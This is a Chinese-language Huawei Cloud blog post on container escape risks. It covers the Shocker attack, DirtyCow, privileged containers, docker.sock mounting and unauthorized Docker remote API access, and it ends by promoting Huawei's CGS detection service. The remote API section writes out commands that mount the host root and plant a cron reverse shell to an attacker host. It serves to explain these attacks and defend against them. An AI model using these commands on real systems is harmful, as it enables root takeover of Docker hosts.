写点什么

云原生 2.0 时代:企业更应了解一下容器安全

发布于: 2021 年 02 月 25 日

摘要:云原生 2.0 时代,任何企业都可以成为“新云原生企业”,作为云原生的代表技术之一的容器,每个企业都应该对容器安全有所了解。


随着云原生技术的成熟和市场需求的升级,云计算的发展已步入新的阶段,云原生 2.0 时代已经到来。从技术角度看,以容器、微服务以及动态编排为代表的云原生技术蓬勃发展,成为赋能业务创新的重要推动力,并已经应用到企业核心业务。从市场角度看,云原生技术已在金融、制造、互联网等多个行业得到广泛验证,支持的业务场景也愈加丰富,行业生态日渐繁荣。云原生 2.0 是企业智能升级的新阶段,企业云化从“ON Cloud”走向“IN Cloud”,新生能力与既有能力有机协同、立而不破,实现资源高效、应用敏捷、业务智能、安全可信,成为“新云原生企业”。


云原生 2.0 时代,任何企业都可以成为“新云原生企业”,作为云原生的代表技术之一的容器,每个企业都应该对容器安全有所了解。


传统的虚拟机能够基于虚拟化技术更加有效的利用硬件计算资源,可以实现云租户的隔离与资源共享。相比虚拟机来说,容器更轻、更快,但是作为一种新技术,容器的安全防护也与虚拟机所有不同。


一、 容器 VS 虚拟机


容器与虚拟机具有相似的资源隔离和分配价值,但容器的作用不同,因为容器是虚拟化操作系统而不是硬件。容器更便携,更高效。



容器 VS 虚拟机


虚拟机(VM)是对物理硬件的抽象,将一台服务器转化为多台服务器。Hypervisor 允许在一台机器上运行多个虚拟机。每个虚拟机都包含操作系统、应用程序、必要的二进制文件和库的完整副本,占用数十 GB 的空间。虚拟机启动速度也比较慢。


容器是应用程序层的一个抽象,将代码和依赖打包在一起。多个容器可以运行在同一台机器上,与其他容器共享操作系统内核,每个容器在用户空间中作为隔离的进程运行。容器比虚拟机占用更少的空间(容器镜像通常只有几十 MB 大小),可以处理更多的应用程序。


二、 容器逃逸



容器逃逸,是容器技术启用以来一直被关注的问题,甚至被认为是容器的首要安全问题。所谓“逃逸”,指的是“流氓”容器/虚拟机尝试突破隔离环境的限制,访问宿主系统或者在同一个系统上的同驻容器或虚拟机。从而造成敏感信息泄露,或者系统及服务发生 DOS 的行为。



但正是由于容器与宿主系统共享内核,因此容器与宿主机有着更大的接触面,隔离层次更少,更容易从容器内实施逃逸攻击。因此,如何解决容器逃逸安全风险,避免容器逃逸攻击带来的损失是容器安全中最为重要的一个问题。


三、 容器逃逸常用手段


1) 通过容器自身漏洞及内核漏洞逃逸



攻击的主要途径之一就是利用漏洞,通过程序设计或实现的缺陷来执行非法操作,容器逃逸也不例外。容器自身漏洞是其利用进行逃逸的路径之一,同时由于容器共享宿主系统内核,因此内核漏洞是其逃逸的另一路径,同时由于内核漏洞的数量远远大于容器自身漏洞,因此内核漏洞甚至成为容器逃逸更为主要的一个手段。


1.1 利用容器漏洞逃逸 – shocker 攻击


Shocker 攻击是容器逃逸最著名的案例,其本质是利用了一个不常用的系统调用 open_by_handle_at,同时借助 docker1.0 前版本并未限制 CAP_DAC_READ_SEARCH 能力,并将容器启动时会挂载宿主机文件到容器内(如旧版本的/.dockerinit,新版本的/etc/hosts)作为起点,执行暴力破解攻击,最终获取到要访问的宿主系统文件的句柄信息并进行读取,从而实现逃逸。


Github 地址:https://github.com/gabrtv/shocker


容器执行 shocker 攻击逃逸访问宿主系统/etc/shadow 文件:



1.2 内核漏洞利用逃逸 – dirtycow 攻击



DirtyCow(脏牛漏洞,CVE-2016-5195)是 Linux 内核中的一个权限提升漏洞,其也可被容器利用实施逃逸。容器利用 dirtycow 漏洞改写虚拟动态共享库 VDSO(Virtual Dynamically Shared Objec),并将 shellcode 置入其中,当主机系统进程调用并执行修改后的内容时,就会借用此进程身份执行置入的 shellcode,并最终在容器内获得一个来自主机的 root 权限的 shell。



2) 不安全配置引发逃逸


2.1 不安全启动,如 privileged 特权容器


容器以--privileged 参数启动时称为特权容器,特权容器顾名思义具有较高权限,包括对宿主机上的设备的访问权限。因此,攻击者可以直接在容器内 mount 主机设备并进行文件访问,从而轻而易举实现逃逸。




2.2 不安全挂载,如挂载 docker.sock 到容器



图片来源:__https://medium.com/better-pro...


Docker.sock 文件是一个 Unix domain socket 文件,是 Docker daemon 默认监听的套接字文件,docker client 通过它与 docker daemon 进行通信。docker client 将信息查询和下发命令等请求通过 docker.sock 发给 docker daemon,然后由 deamon 执行具体请求,包括镜像查询、容器创建等。


将 docker.sock 挂载到容器内,可以在容器内继续运行一个容器,实现 docker in docker,并可在容器内容器启动时通过-v 参数将宿主机根目录挂载到容器内,从而在容器内访问宿主机文件,实现逃逸。



2.3 Docker remote api 未授权访问


默认情况下,docker daemon 只允许通过 unix domain socket – docker.sock 进行本地通信操作,但除此之外,docker daemon 也提供了 Restful API 供远端 client 访问(daemon 通过-H 参数指定监听端口),如果未对访问进行权限控制及合规性检查,则攻击者也可以访问这个 API 执行高危操作,并实施逃逸攻击。


例如一种攻击场景:


1) 通过 Remote API 创建一个容器,并将宿主系统根目录挂载到容器内:


# docker -H tcp://$IP:$PORT run -it -v /:/mnt ubuntu /bin/bash
复制代码


其中:IP 表示 docker daemon 服务 ip,IP 表示 dockerdaemon 服务 ip,PORT 表示 Remote API 监听端口


2) 将反弹 shell 命令写入计划任务文件


# echo '* * * * * /bin/bash -i >& /dev/tcp/$IP/$PORT 0>&1' >> /mnt/var/spool/cron/crontabs/root
复制代码


其中:IP 表示攻击端 IP,IP 表示攻击端 IP,PROT 表示攻击端监听端口


3) 攻击端监听上一步中的 $PORT 端口,获取来自对端(docker 服务所在系统)的具有 root 权限得反弹 shell,并任意访问。


四、 华为云容器安全服务 CGS 之逃逸安全防护方案



华为云容器安全服务 CGS


华为云容器安全服务 CGS 构建了容器安全威胁纵深防御体系,提供包括镜像扫描、威胁检测与威胁防护的一整套容器安全能力,提供针对容器的 Build、Ship、Run 全生命周期保护能力,渗透到整个容器 DevOps 流程,保证容器虚拟环境从开发到生产整个流程的安全。其中,容器逃逸检测是 CGS 的核心功能之一,它通过如下手段构建系统化的容器逃逸全面防护能力:


1) 监控容器不安全配置启动


前文中提到,不安全配置是容器逃逸的一个重要原因。因此,监控容器的不安全启动也是容器逃逸防护的一个重要手段。CGS 可以针对容器启动的各种不安全配置进行监控,包括启动特权容器、挂载宿主机文件、安全策略关闭、特权端口映射等,从容器创建伊始就检测逃逸风险,实现整体防护方案第一步。


2) 容器行为深度分析


容器启动后,CGS 可对容器运行过程中的行为进行实时跟踪和观察,监控容器内的进程运行、文件访问、网络连接、系统调用等行为,并对行为进行深度分析,从行为过程体现出来的特征到行为所产生的结果进行全面分析检测,有效发现容器已知和未知漏洞利用逃逸攻击行为并进行告警。



3) 容器基线机器学习


一般而言,容器的行为通常固定且纯粹,比如一个提供 web 服务的容器内可能只会运行一个 nginx 进程,一个提供 DB 服务的容器内可能只会运行一个 mysql 进程,并且进程所执行的操作,包括文件访问、系统调用、网络连接等行为都有固定合理范围,因此可以对容器圈定正常行为范围,构建行为基线。CGS 利用机器学习技术,从静态和动态两个维度分析容器正常行为并建立基线,使得基线模型更准确、更完整,然后根据基线跟踪容器行为,感知基线以外的异常行为,实现对攻击行为的全面感知,并有效提升对于容器利用 0day 漏洞进行逃逸攻击的检测能力。



华为云 CGS 容器逃逸方案防护机制内置在防护平台,无需用户参与即可实现容器逃逸系统化检测,具有良好的易用性,同时方案采用事件驱动机制实现性能高、反应快,为容器安全保驾护航。


点击关注,第一时间了解华为云新鲜技术~


发布于: 2021 年 02 月 25 日阅读数: 55
用户头像

提供全面深入的云计算技术干货 2020.07.14 加入

华为云开发者社区,提供全面深入的云计算前景分析、丰富的技术干货、程序样例,分享华为云前沿资讯动态,方便开发者快速成长与发展,欢迎提问、互动,多方位了解云计算! 传送门:https://bbs.huaweicloud.com/

评论

发布
暂无评论
云原生2.0时代:企业更应了解一下容器安全